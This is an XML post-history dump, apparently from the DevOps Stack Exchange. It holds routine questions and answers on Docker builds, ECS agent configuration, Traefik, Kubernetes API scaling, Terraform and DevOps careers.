  <row Id="9965" PostHistoryTypeId="3" PostId="3172" RevisionGUID="8611ac83-f00a-4850-97ba-a0067b9bc721" CreationDate="2018-01-24T08:40:26.637" UserId="707" Text="&lt;dockerfile&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9966" PostHistoryTypeId="2" PostId="3173" RevisionGUID="8d74d9da-fb65-4db3-8458-8c0f7434fbb8" CreationDate="2018-01-24T13:05:04.503" UserId="6" Text="Convert the `zip` file into a `gz` file before running `docker build`, possibly in a wrapper script.&#xD;&#xA;&#xD;&#xA;Or even go one step further, and extract the archive first, then use COPY to copy the resulting folder contents.&#xD;&#xA;&#xD;&#xA;When you are using archives from the internet on the other hand, `ADD http://somewhere/file.gz /data` will extract the downloaded file directly into that folder. If you have a problem with zip/gz format there, then use `RUN curl -o somewhere/file.gz /tmp/file.gz &amp;&amp; tar xzf /tmp/file.gz &amp;&amp; rm /tmp/file.gz` to only create a single layer without leaving the file behind." ContentLicense="CC BY-SA 3.0" />
  <row Id="9973" PostHistoryTypeId="5" PostId="1627" RevisionGUID="a38859f1-9c1d-41fd-b9f2-c1bcd9155be0" CreationDate="2018-01-24T15:40:11.020" UserId="735" Comment="deleted 4 characters in body" Text="Have a look for DevOps Engineer roles and check out the list of technologies that they are seeking. Typically you'll need automation scripting skills (like Bash, Python or PowerShell), configuration management skills (like Chef, Puppet or Ansible) and some fundamental experience maintaining and configuring a Build/Release pipeline. For this, look to get experience with CI/CD tools like AppVeyor (.NET), Jenkins, Travis CI etc. You should also be familiar with Git and source control systems in general such as BitBucket or TFS. You would also benefit from becoming familiar with automated testing techniques.&#xD;&#xA;&#xD;&#xA;If you haven't already, consider hosting some open source products in Github and setting up a pipeline for them that performs automated tests on commits as well as (if possible) publishing to a package management system. This is great experience as well as demonstrates your skills.&#xD;&#xA;&#xD;&#xA;For a more general understanding of the philosophy of DevOps (as beware that it's a culture as well as a technology set) do as much reading as you can on the topic and start following (e.g via Twitter) the likes of Gene Kim, Jez Humble, and Patrick Debois. Also I recommend you read [The DevOps Handbook][1] which they authored. It is a very thorough explanation of what DevOps is as well as how organisations might adopt it.&#xD;&#xA;&#xD;&#xA;You could also check out DevOps related [Meet Ups][2] and Conferences (such as [Velocity][3], [DevOpsDays][4] and [Config Management Camp][5]). The opportunities will of course vary depending on where in the world you are.&#xD;&#xA;&#xD;&#xA;  [1]: https://itrevolution.com/book/the-devops-handbook/&#xD;&#xA;  [2]: https://www.meetup.com/topics/devops/&#xD;&#xA;  [3]: https://conferences.oreilly.com/velocity/vl-eu?cmp=kn-webops-confreg-home-vleu17_search&#xD;&#xA;  [4]: https://www.devopsdays.org/&#xD;&#xA;  [5]: http://cfgmgmtcamp.eu/" ContentLicense="CC BY-SA 3.0" />
  <row Id="9974" PostHistoryTypeId="2" PostId="3176" RevisionGUID="c42fc65e-24af-4ad3-b7c4-ae5f7fb03912" CreationDate="2018-01-24T15:44:53.327" UserId="6235" Text="You need to follow these steps:&#xD;&#xA;&#xD;&#xA;* Set `ECS_CLUSTER=devcluster` in `/etc/ecs/ecs.config`&#xD;&#xA;* Stop all tasks/containers&#xD;&#xA;* Remove checkpoint file - `/var/lib/ecs/data/ecs_agent_data.json`&#xD;&#xA;* Start ECS agent again as explained here - https://docs.aws.amazon.com/AmazonECS/latest/developerguide/ecs-agent-install.html&#xD;&#xA;&#xD;&#xA;To make sure it uses correct cluster, check logs - `docker logs ecs-agent`. It should have a message like:&#xD;&#xA;&#xD;&#xA;    [INFO] Registration completed successfully. I am running as 'arn:aws:ecs:eu-west-1:ACCOUNT_ID:container-instance/CLUSTER_ID' in cluster 'devcluster'" ContentLicense="CC BY-SA 3.0" />
  <row Id="9975" PostHistoryTypeId="2" PostId="3177" RevisionGUID="f382b98d-4d9f-4ef7-81a2-0bd43ac6e326" CreationDate="2018-01-24T15:52:14.607" UserId="5898" Text="I am setting up a local development environment with lots of docker containers running applications. I am using Traefik to achieve reverse proxy capability (each container having a named local URL). Right now my setup is as follows &#xD;&#xA;&#xD;&#xA;**Traefik.toml**&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    [frontends]&#xD;&#xA;      [frontends.mcserviceface]&#xD;&#xA;        backend = &quot;mcserviceface&quot;&#xD;&#xA;      [frontends.mcserviceface.routes.test_1]&#xD;&#xA;        rule=&quot;Host:local.mcserviceface.net&quot;&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    [backends]&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;      [backends.mcserviceface]&#xD;&#xA;        [backends.mcserviceface.servers.server1]&#xD;&#xA;          url=&quot;local.mcserviceface.net:80&quot;&#xD;&#xA;    &#xD;&#xA;    [docker]&#xD;&#xA;&#xD;&#xA;Docker-compose.yml file for container &#xD;&#xA;&#xD;&#xA;    ... &#xD;&#xA;    labels:&#xD;&#xA;          - &quot;traefik.backend=mcserviceface&quot;&#xD;&#xA;          - &quot;traefik.frontend.rule=Host:local.mcserviceface.net&quot;&#xD;&#xA;    ...&#xD;&#xA;&#xD;&#xA;When I spin up the Traefik container and the mcserviceface container, it shows on the Traefik page, but it does not show the URL as `local.mcserviceface.net` rather something like `http://185.28.0.3:80`. I also hit a `ERR_CONNECTION_TIMED_OUT` when I follow that link. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;How do I resolve both of these issues?" ContentLicense="CC BY-SA 3.0" />
  <row Id="9976" PostHistoryTypeId="1" PostId="3177" RevisionGUID="f382b98d-4d9f-4ef7-81a2-0bd43ac6e326" CreationDate="2018-01-24T15:52:14.607" UserId="5898" Text="Traefik configuration issue with reverse proxy" ContentLicense="CC BY-SA 3.0" />
  <row Id="9977" PostHistoryTypeId="3" PostId="3177" RevisionGUID="f382b98d-4d9f-4ef7-81a2-0bd43ac6e326" CreationDate="2018-01-24T15:52:14.607" UserId="5898" Text="&lt;docker&gt;&lt;docker-compose&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9978" PostHistoryTypeId="5" PostId="3176" RevisionGUID="85c6c5b3-7081-46ea-af7c-c6a1b93852db" CreationDate="2018-01-24T15:52:54.710" UserId="13" Comment="deleted 28 characters in body" Text="You need to follow these steps:&#xD;&#xA;&#xD;&#xA;* Set `ECS_CLUSTER=devcluster` in `/etc/ecs/ecs.config`&#xD;&#xA;* Stop all tasks/containers&#xD;&#xA;* Remove checkpoint file - `/var/lib/ecs/data/ecs_agent_data.json`&#xD;&#xA;* Start ECS agent again as explained here - https://docs.aws.amazon.com/AmazonECS/latest/developerguide/ecs-agent-install.html&#xD;&#xA;&#xD;&#xA;To make sure it uses correct cluster, check logs - `docker logs ecs-agent`. It should have a message like:&#xD;&#xA;&#xD;&#xA;    [INFO] Registration completed successfully. I am running as 'arn:aws:ecs:eu-west-1:ACCOUNT_ID:container-instance/CLUSTER_ID' in cluster 'devcluster'" ContentLicense="CC BY-SA 3.0" />
  <row Id="9980" PostHistoryTypeId="2" PostId="3178" RevisionGUID="55257341-45e8-4590-8cfc-35ddd702fa43" CreationDate="2018-01-24T19:34:57.633" UserId="3899" Text="Is there a way to scale replication controller via API in kubernetes. &#xD;&#xA;&#xD;&#xA;By using kubeclt command, it may be done by running: &#xD;&#xA;&#xD;&#xA;    kubectl scale --replicas=1 --namespace=kube-system rc my_replication_controller&#xD;&#xA;&#xD;&#xA;But how to achieve it using API? &#xD;&#xA;&#xD;&#xA;Moving through docs, I found only &quot;replace scale of the specified Scale&quot; and &quot;partially update scale of the specified Scale&quot; among write operations. But I think this is not what I need.  " ContentLicense="CC BY-SA 3.0" />
  <row Id="9981" PostHistoryTypeId="1" PostId="3178" RevisionGUID="55257341-45e8-4590-8cfc-35ddd702fa43" CreationDate="2018-01-24T19:34:57.633" UserId="3899" Text="Scaling replication controllers via API in Kubernetes" ContentLicense="CC BY-SA 3.0" />
  <row Id="9982" PostHistoryTypeId="3" PostId="3178" RevisionGUID="55257341-45e8-4590-8cfc-35ddd702fa43" CreationDate="2018-01-24T19:34:57.633" UserId="3899" Text="&lt;kubernetes&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9983" PostHistoryTypeId="2" PostId="3179" RevisionGUID="56a0c7f3-98f6-4a41-b28d-2d492fb4ba6e" CreationDate="2018-01-24T20:12:45.977" UserId="4175" Text="Make a list of DevOps tools that seem to be popular, download, follow the manual, and just do it.&#xD;&#xA;&#xD;&#xA;- Vagrant&#xD;&#xA;- Ansible&#xD;&#xA;- Docker&#xD;&#xA;- Kubernetes/OpenShift&#xD;&#xA;&#xD;&#xA;This will give you a good running start with the tools closer to the &quot;Ops&quot; side, and - if you manage to also pick up *why* and *what for* these tools are used - will make you a worthy member of most teams. You can pick up the more Dev-sided bits and pieces as you go (i.e., CI/CD pipelines etc.).&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9984" PostHistoryTypeId="2" PostId="3180" RevisionGUID="e67c9dc0-c75c-4cb5-b14b-bc46e56f84d0" CreationDate="2018-01-25T00:17:57.223" UserId="6108" Text="The `aws_autoscaling_group` does support a list of tags now (https://www.terraform.io/docs/providers/aws/r/autoscaling_group.html#tags). But this looks a bit different to the syntax of other terraform resources:&#xD;&#xA;&#xD;&#xA;    tags = [&#xD;&#xA;      {&#xD;&#xA;        key                 = &quot;explicit1&quot;&#xD;&#xA;        value               = &quot;value1&quot;&#xD;&#xA;        propagate_at_launch = true&#xD;&#xA;      },&#xD;&#xA;      {&#xD;&#xA;        key                 = &quot;explicit2&quot;&#xD;&#xA;        value               = &quot;value2&quot;&#xD;&#xA;        propagate_at_launch = true&#xD;&#xA;      },&#xD;&#xA;    ]&#xD;&#xA;&#xD;&#xA;This also allows to dynamically build tags via interpolation." ContentLicense="CC BY-SA 3.0" />
  <row Id="9985" PostHistoryTypeId="2" PostId="3181" RevisionGUID="b2457513-56d9-4854-881a-2ece6eba85be" CreationDate="2018-01-25T06:33:44.290" UserId="5988" Text="I currently use Terraform workspace to configure different environments like dev, test, prod, and my code works fine. And I believe I can use workspace to configure different regions as well. &#xD;&#xA;&#xD;&#xA;I think terraform module can do the same thing, right?&#xD;&#xA;&#xD;&#xA;Then in which case should I use workspace, and in which case should I use module? Or they are doing the similar thing in different ways?" ContentLicense="CC BY-SA 3.0" />
  <row Id="9986" PostHistoryTypeId="1" PostId="3181" RevisionGUID="b2457513-56d9-4854-881a-2ece6eba85be" CreationDate="2018-01-25T06:33:44.290" UserId="5988" Text="What is the difference btw. Terraform module and Terraform workspace" ContentLicense="CC BY-SA 3.0" />
  <row Id="9987" PostHistoryTypeId="3" PostId="3181" RevisionGUID="b2457513-56d9-4854-881a-2ece6eba85be" CreationDate="2018-01-25T06:33:44.290" UserId="5988" Text="&lt;terraform&gt;&lt;terraform-module&gt;&lt;terraform-workspace&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9988" PostHistoryTypeId="2" PostId="3182" RevisionGUID="6d1afa81-a0f2-4bc6-809a-c5d44d7d8429" CreationDate="2018-01-25T07:32:53.173" UserId="707" Text="One of views on DevOps is to say that it combines fileds of Development, Operations and Quality Assurance.&#xD;&#xA;&#xD;&#xA;Now many DevOps roles have focus either &#xD;&#xA;&#xD;&#xA;* on development with the left shift in terms of operations awareness (up to a No-Ops full stack, *you build it - you run it* (c) Besos, Amazon's CTO), &#xD;&#xA;* or a sysadmin who is expected to write CaSC (Configurarion as Code), IaC (infrastructure as code) and automation codes to reduce work required in operations.&#xD;&#xA;&#xD;&#xA;In both cases you see lots of tools typical for these roles with and without DevOps context.&#xD;&#xA;&#xD;&#xA;What does QA DevOps roles do today as a formal commitment? Test automation always has been there, for example. Is QA just meant here to support CI/CD infrastructure and teams working on it, or something else?" ContentLicense="CC BY-SA 3.0" />
  <row Id="9989" PostHistoryTypeId="1" PostId="3182" RevisionGUID="6d1afa81-a0f2-4bc6-809a-c5d44d7d8429" CreationDate="2018-01-25T07:32:53.173" UserId="707" Text="Does QA in DevOps roles mean CI/CD or more?" ContentLicense="CC BY-SA 3.0" />
  <row Id="9990" PostHistoryTypeId="3" PostId="3182" RevisionGUID="6d1afa81-a0f2-4bc6-809a-c5d44d7d8429" CreationDate="2018-01-25T07:32:53.173" UserId="707" Text="&lt;culture&gt;&lt;methodology&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9991" PostHistoryTypeId="5" PostId="1409" RevisionGUID="dee2d07a-209f-4642-a279-1310f43462af" CreationDate="2018-01-25T08:34:32.050" UserId="47" Comment="added &quot;CI Theatre&quot;" Text="Useful memes:&#xD;&#xA;&#xD;&#xA;* &quot;**Wall of Confusion**&quot; from https://www.slideshare.net/littleidea/agile-infrastructure-velocity-09&#xD;&#xA;* **C.A.M.S.** from https://blog.chef.io/2010/07/16/what-devops-means-to-me/&#xD;&#xA;* &quot;**10+ deploys per day**&quot; from https://www.slideshare.net/jallspaw/10-deploys-per-day-dev-and-ops-cooperation-at-flickr/ and https://youtu.be/LdOe18KhtT4&#xD;&#xA;* **I.C.E.** from http://radar.oreilly.com/2015/01/devops-keeps-it-cool-with-ice.html&#xD;&#xA;* &quot;**CI Theatre**&quot; from https://www.gocd.org/2017/05/16/its-not-CI-its-CI-theatre.html&#xD;&#xA;&#xD;&#xA;There are some horrible memes pushed by vendors worth mentioning.&#xD;&#xA;&#xD;&#xA;_WARNING_: **Bad** memes to use for explaining DevOps (traps for young players) -&#xD;&#xA;&#xD;&#xA;* &quot;BI-Modal IT&quot; by Gartner - criticised by Jez Humble here: https://continuousdelivery.com/2016/04/the-flaw-at-the-heart-of-bimodal-it/&#xD;&#xA;* &quot;Multi-Speed IT&quot; by Accenture https://www.accenture.com/us-en/insight-calibrating-multi-speed-it - (same as bimodal, but different name because of copyright - asked about here - https://devops.stackexchange.com/questions/1411/what-is-good-and-or-bad-about-accentures-multi-speed-it-approach-to-devops&#xD;&#xA;* &quot;The Three Ways&quot; by Gene Kim https://itrevolution.com/the-three-ways-principles-underpinning-devops/ - the comments on the article include plenty of criticism" ContentLicense="CC BY-SA 3.0" />
  <row Id="9992" PostHistoryTypeId="6" PostId="1718" RevisionGUID="ecd01063-f068-4d6b-837a-2906f5b06740" CreationDate="2018-01-25T08:53:08.567" UserId="47" Comment="edited tags" Text="&lt;google-cloud-platform&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9993" PostHistoryTypeId="2" PostId="3183" RevisionGUID="6ae6271d-4239-4bd4-8a14-43fc19aa6786" CreationDate="2018-01-25T10:53:19.527" UserId="3899" Text="After long playing with it and consulting on slack DevOps chat, I was able to figure it out. Here is a workable curl: &#xD;&#xA;&#xD;&#xA;    curl -sSk -H \&quot;Authorization: Bearer ${KUBE_TOKEN}\&quot; -H 'Content-Type: application/merge-patch+json' -X 'PATCH' $URL_NAME/api/v1/namespaces/kube-system/replicationcontrollers/kube-registry-v0 -d '{&quot;spec&quot;: {&quot;replicas&quot;:  1}}'&#xD;&#xA;&#xD;&#xA;One of the important components here is &quot;`Content-Type: application/merge-patch+json`&quot; Without it specification, Kubernetes will not recognize data in API request correctly. " ContentLicense="CC BY-SA 3.0" />
  <row Id="9994" PostHistoryTypeId="2" PostId="3184" RevisionGUID="2be2bb61-3973-4e30-9f08-009b1e986f9d" CreationDate="2018-01-25T11:19:51.447" UserId="5068" Text="[Shipit](https://github.com/shipitjs/shipit) is what you are looking for.&#xD;&#xA;&#xD;&#xA;&gt; Shipit is an automation engine and a deployment tool written for node / iojs.&#xD;&#xA;&#xD;&#xA;&gt; Shipit was built to be a Capistrano alternative for people who don't know ruby, or who experienced some issues with it. If you want to write tasks in JavaScript and enjoy the node ecosystem, Shipit is also for you.&#xD;&#xA;&#xD;&#xA;&gt; You can automate anything with Shipit but most of the time you will want to deploy your project using the Shipit deploy task." ContentLicense="CC BY-SA 3.0" />
  <row Id="9995" PostHistoryTypeId="50" PostId="1533" RevisionGUID="8925d283-4474-4a3a-847c-a4f1b5a58351" CreationDate="2018-01-25T13:06:14.563" UserId="-1" />
  <row Id="9996" PostHistoryTypeId="50" PostId="1193" RevisionGUID="7df22af2-ea67-47ed-be7b-599b725608ee" CreationDate="2018-01-25T14:17:44.520" UserId="-1" />
  <row Id="9997" PostHistoryTypeId="2" PostId="3185" RevisionGUID="4961ad70-98e0-4782-a6a3-9ffff6cfdcd1" CreationDate="2018-01-25T14:38:29.920" UserId="707" Text="Imagine you want to reset your Docker swarm from time to time. &#xD;&#xA;&#xD;&#xA;How do you distribute join tokens to those zillions of nodes? How much automation is possible here?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9998" PostHistoryTypeId="1" PostId="3185" RevisionGUID="4961ad70-98e0-4782-a6a3-9ffff6cfdcd1" CreationDate="2018-01-25T14:38:29.920" UserId="707" Text="Automated Docker swarm reinitialization and token distribution" ContentLicense="CC BY-SA 3.0" />
  <row Id="9999" PostHistoryTypeId="3" PostId="3185" RevisionGUID="4961ad70-98e0-4782-a6a3-9ffff6cfdcd1" CreationDate="2018-01-25T14:38:29.920" UserId="707" Text="&lt;docker&gt;&lt;automation&gt;&lt;distributed-systems&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10000" PostHistoryTypeId="2" PostId="3186" RevisionGUID="b36ecf4d-01ec-4b0d-b9eb-8d322ac3918b" CreationDate="2018-01-25T14:52:23.650" UserId="707" Text="From reading this [job ad][1]:&#xD;&#xA;&#xD;&#xA;&gt;  You believe CI servers, push button deploys, **time series data stores**,&#xD;&#xA;&gt; metrics dashboards, and centralized logging are not just “nice to&#xD;&#xA;&gt; haves” they are critical pieces of infrastructure that rapidly pay for&#xD;&#xA;&gt; themselves.&#xD;&#xA;&#xD;&#xA;What does using a [time series data store][2] mean for CI?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://workday.wd5.myworkdayjobs.com/Workday/job/Ireland-Dublin/DevOps-Engineer---Syman-Search-Dublin_JR-18369&#xD;&#xA;  [2]: https://en.wikipedia.org/wiki/Time_series_database" ContentLicense="CC BY-SA 3.0" />
  <row Id="10001" PostHistoryTypeId="1" PostId="3186" RevisionGUID="b36ecf4d-01ec-4b0d-b9eb-8d322ac3918b" CreationDate="2018-01-25T14:52:23.650" UserId="707" Text="Time series data stores in CI context - meaning?" ContentLicense="CC BY-SA 3.0" />
  <row Id="10002" PostHistoryTypeId="3" PostId="3186" RevisionGUID="b36ecf4d-01ec-4b0d-b9eb-8d322ac3918b" CreationDate="2018-01-25T14:52:23.650" UserId="707" Text="&lt;terminology&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10003" PostHistoryTypeId="50" PostId="1422" RevisionGUID="9735ef82-5240-4f48-aae4-43c2f25dc37e" CreationDate="2018-01-25T16:21:14.327" UserId="-1" />
  <row Id="10005" PostHistoryTypeId="2" PostId="3187" RevisionGUID="730af728-00cd-43cf-b1d7-8dc6de05de49" CreationDate="2018-01-25T17:53:55.493" UserId="47" Text="Since time series datastores are indexed by timestamps they can be very useful in a CI/CD environment, depending on what kind of information they store, for things like:&#xD;&#xA;&#xD;&#xA;- incident analysis and management&#xD;&#xA;- service operation and SLAs monitoring&#xD;&#xA;- overall SDLC pipeline performance/efficiency analysis and improvements&#xD;&#xA;- resource capacity planning&#xD;&#xA;- budget and ROI computations" ContentLicense="CC BY-SA 3.0" />
  <row Id="10006" PostHistoryTypeId="2" PostId="3188" RevisionGUID="95ae8ac9-bb95-4daa-85e3-0b4d184efc55" CreationDate="2018-01-25T19:07:09.367" UserId="4328" Text="I think a key difference between Terraform Modules and Workspaces is that modules can be inherited and used by other modules and configurations. Terraform Workspaces are intended to be a collection of configurations that represent a single environment, whereas Modules are components that can be utilized by one or more modules/configurations. I think you could use Modules in a similar way to how you are using Workspaces, but you would be contradicting the intent of them. " ContentLicense="CC BY-SA 3.0" />
  <row Id="10007" PostHistoryTypeId="2" PostId="3189" RevisionGUID="bef6c093-46a8-424b-b688-498dbec74c8e" CreationDate="2018-01-25T19:15:05.180" UserId="6255" Text="Hi all :) I want to switch from java developer to devops because i want to work something more interesting. I know that as a devops i will have to code but beside that i hope i will learn some new things like server administration, CI, CD, networking and a lot of new stuff. I have been asking my self many times but with no answer... will devops die around all this AI stuff. I think that server administration profession can disappear but for devops... i`m not sure. What do you think ? And is it a good idea to switch professions (hope some of you have done this already) ?&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10008" PostHistoryTypeId="1" PostId="3189" RevisionGUID="bef6c093-46a8-424b-b688-498dbec74c8e" CreationDate="2018-01-25T19:15:05.180" UserId="6255" Text="From Java Developer to DevOps and will devops die?" ContentLicense="CC BY-SA 3.0" />
  <row Id="10009" PostHistoryTypeId="3" PostId="3189" RevisionGUID="bef6c093-46a8-424b-b688-498dbec74c8e" CreationDate="2018-01-25T19:15:05.180" UserId="6255" Text="&lt;terminology&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10010" PostHistoryTypeId="50" PostId="1517" RevisionGUID="36a12622-a923-4ab5-af34-0e3077fe681a" CreationDate="2018-01-25T19:21:14.180" UserId="-1" />
  <row Id="10011" PostHistoryTypeId="2" PostId="3190" RevisionGUID="9006896c-aee9-40e8-a190-97365cb388d2" CreationDate="2018-01-25T20:04:14.603" UserId="4175" Text="&gt;  I want to switch from java developer to devops because i want to work something more interesting. &#xD;&#xA;&#xD;&#xA;There is no need to *switch*, in IT, generally. You can just add more and more stuff to your toolkit over the years and decades. Just because your new job description is &quot;DevOps&quot; instead of &quot;Java&quot; does not mean that you somehow immediately forget your Java background.&#xD;&#xA;&#xD;&#xA;Hunting for something more interesting is always good. It means more learning. You will very likely (hopefully) alternate between hunting for something and deepening that something for your whole life.&#xD;&#xA;&#xD;&#xA;&gt; will devops die &#xD;&#xA;&#xD;&#xA;Yes, of course it will. *Everything* dies. I have no idea how the IT world will look in 20 years, but one certainty is that it will not look like today. &#xD;&#xA;&#xD;&#xA;&gt; around all this AI stuff&#xD;&#xA;&#xD;&#xA;Huh? What AI stuff? There is no AI. Machine learning has nothing whatsoever to do with AI, it's just the &quot;next&quot; technique. It's not like Matrix-style AIs take server administration jobs from us, or like AIs build our OpenShift servers. &#xD;&#xA;&#xD;&#xA;&gt; I think that server administration profession can disappear&#xD;&#xA;&#xD;&#xA;Not for a *long* time. People forget that below the virtualized stuff (VMs, containers, etc.) there still are the same technologies as always, requiring people who know how to manage the basic systems. Sure, it will get different, but not disappear for any time soon.&#xD;&#xA;&#xD;&#xA;&gt; I have been asking my self many times&#xD;&#xA;&#xD;&#xA;You are overthinking this. Pick a DevOps technique, anyone which seems interesting to you, download some stuff, and just tinker around with it at home for a bit. Or find a nice little project at work. You'll find out in no time whether it is your thing or not. Nothing about DevOps is particularly &quot;special&quot; or &quot;magic&quot; or a totally &quot;different&quot; thing." ContentLicense="CC BY-SA 3.0" />
  <row Id="10012" PostHistoryTypeId="5" PostId="3188" RevisionGUID="e86a6dfc-dcd1-406e-8ea9-496d7d06a63f" CreationDate="2018-01-25T20:08:10.230" UserId="4328" Comment="added 7 characters in body" Text="I think a key difference between Terraform Modules and Workspaces is that modules can be inherited and used by other modules and configurations. Terraform Workspaces are intended to be a collection of configurations that represent a single environment, whereas Modules are components that can be utilized by one or more modules/configurations. I think you could use Modules in a similar way to how you are using Workspaces, but you would be contradicting the intent of the Modules. " ContentLicense="CC BY-SA 3.0" />
  <row Id="10013" PostHistoryTypeId="2" PostId="3191" RevisionGUID="6f209143-a02b-4bf8-9003-193da42982b3" CreationDate="2018-01-25T20:18:05.823" UserId="6153" Text="I have a setup with a bunch of blades that pxe boot into coreos using terraform/matchbox setup.  I currently control them all manually using ipmitool from my desktop.&#xD;&#xA;&#xD;&#xA;Is there a way to let jenkins control this?  &#xD;&#xA;&#xD;&#xA;an example use case would be if a bunch of different builds are being run and a new one is kicked off jenkins will know to use one of the slaves not running a build so it will power reset the machine and wait for it to come up and then run my docker stuff and the build.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10014" PostHistoryTypeId="1" PostId="3191" RevisionGUID="6f209143-a02b-4bf8-9003-193da42982b3" CreationDate="2018-01-25T20:18:05.823" UserId="6153" Text="Can jenkins control baremetal with ipmi" ContentLicense="CC BY-SA 3.0" />
  <row Id="10015" PostHistoryTypeId="3" PostId="3191" RevisionGUID="6f209143-a02b-4bf8-9003-193da42982b3" CreationDate="2018-01-25T20:18:05.823" UserId="6153" Text="&lt;jenkins&gt;&lt;jenkins-plugins&gt;&lt;terraform&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10016" PostHistoryTypeId="50" PostId="2643" RevisionGUID="f76021f9-03b4-4c2c-aa5f-dff9c46e7e20" CreationDate="2018-01-25T20:21:24.883" UserId="-1" />
  <row Id="10017" PostHistoryTypeId="6" PostId="3182" RevisionGUID="f7567ec7-731f-45d3-9c65-80be52c180c4" CreationDate="2018-01-25T21:12:41.357" UserId="5255" Comment="add job role tag" Text="&lt;culture&gt;&lt;methodology&gt;&lt;job-role&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10018" PostHistoryTypeId="24" PostId="3182" RevisionGUID="f7567ec7-731f-45d3-9c65-80be52c180c4" CreationDate="2018-01-25T21:12:41.357" Comment="Proposed by 5255 approved by 40, 707 edit id of 599" ContentLicense="CC BY-SA 3.0" />
  <row Id="10019" PostHistoryTypeId="6" PostId="3185" RevisionGUID="c406cfde-9a54-48c7-9f2c-b28c7eded36a" CreationDate="2018-01-25T21:12:49.877" UserId="5255" Comment="add docker swarm tag" Text="&lt;docker&gt;&lt;automation&gt;&lt;docker-swarm&gt;&lt;distributed-systems&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10020" PostHistoryTypeId="24" PostId="3185" RevisionGUID="c406cfde-9a54-48c7-9f2c-b28c7eded36a" CreationDate="2018-01-25T21:12:49.877" Comment="Proposed by 5255 approved by 40, 707 edit id of 598" ContentLicense="CC BY-SA 3.0" />
  <row Id="10021" PostHistoryTypeId="2" PostId="3192" RevisionGUID="4b050884-723d-42dd-811d-5cfa187824a0" CreationDate="2018-01-25T21:26:19.067" UserId="13" Text="Simple answer with infrastructure as code, you don't rejoin nodes, you trash old nodes and bring fresh nodes to join the cluster. " ContentLicense="CC BY-SA 3.0" />
  <row Id="10025" PostHistoryTypeId="2" PostId="3194" RevisionGUID="3f5bbfa7-fc51-4ace-bb3f-91edf8344510" CreationDate="2018-01-25T21:31:15.683" UserId="13" Text="Generic answer yes, it is possible with a lot of work...&#xD;&#xA;&#xD;&#xA;Is it something wise to do? In my opinion no, you should convert your bare metal nodes to hypervisors with low maintenance and use common tooling to start slaves Virtual Machines on those hypervisors. " ContentLicense="CC BY-SA 3.0" />
  <row Id="10026" PostHistoryTypeId="2" PostId="3195" RevisionGUID="131c13c8-7568-47fd-bcdc-cd5b532123d5" CreationDate="2018-01-25T22:20:59.223" UserId="6258" Text="Have the Swarm Manager place the worker join token in a Key/Value store.  We use AWS Parameter Store but I believe Consul would be another option (I don't use it).&#xD;&#xA;&#xD;&#xA;Each node can then retrieve the token while it is bootstrapping." ContentLicense="CC BY-SA 3.0" />
  <row Id="10027" PostHistoryTypeId="5" PostId="3102" RevisionGUID="0d87b3aa-40d2-4427-a1e4-a44504291279" CreationDate="2018-01-26T00:18:00.840" UserId="465" Comment="updated question based on feedback" Text="My coworker is trying to attach IAM roles to EC2 instances and doesn’t have permissions. I’m trying to work out which permissions to give him.&#xD;&#xA;&#xD;&#xA;My question is: **What is the AWS user permission that allows attaching and detaching IAM Roles to instances?**&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/RqqKB.png" ContentLicense="CC BY-SA 3.0" />
  <row Id="10028" PostHistoryTypeId="2" PostId="3196" RevisionGUID="33f5942f-4dbd-4f05-85d4-cbebd389e256" CreationDate="2018-01-26T04:12:41.997" UserId="6261" Text="Here's my Dockerfile:&#xD;&#xA;&#xD;&#xA;FROM php:5-fpm&#xD;&#xA;&#xD;&#xA;    RUN apt-get update&#xD;&#xA;    RUN apt-get install -y php5-mysql&#xD;&#xA;    RUN apt-get install -y php5-xdebug&#xD;&#xA;    RUN apt-get install -y php5-mcrypt&#xD;&#xA;    RUN apt-get install -y php5-gd&#xD;&#xA;&#xD;&#xA;When I run from Docker for Mac everything works great. But from my Linux machine I get:&#xD;&#xA;&#xD;&#xA;    E: Package 'php5-mysql' has no installation candidate&#xD;&#xA;    The command '/bin/sh -c apt-get install -y php5-mysql' returned a non-zero code: 100&#xD;&#xA;&#xD;&#xA;Shouldn't these behave the same?" ContentLicense="CC BY-SA 3.0" />
  <row Id="10029" PostHistoryTypeId="1" PostId="3196" RevisionGUID="33f5942f-4dbd-4f05-85d4-cbebd389e256" CreationDate="2018-01-26T04:12:41.997" UserId="6261" Text="Why can I build this image from Docker for Mac but not on Docker CE for Ubuntu?" ContentLicense="CC BY-SA 3.0" />
  <row Id="10030" PostHistoryTypeId="3" PostId="3196" RevisionGUID="33f5942f-4dbd-4f05-85d4-cbebd389e256" CreationDate="2018-01-26T04:12:41.997" UserId="6261" Text="&lt;docker&gt;&lt;dockerfile&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10031" PostHistoryTypeId="2" PostId="3197" RevisionGUID="5699382a-05f1-499b-b08d-37cf9d5dc35a" CreationDate="2018-01-26T04:48:48.877" UserId="6262" Text="It is possible that the base image is different on each host. Can you confirm the images for php:5-fpm on each host are identical?" ContentLicense="CC BY-SA 3.0" />
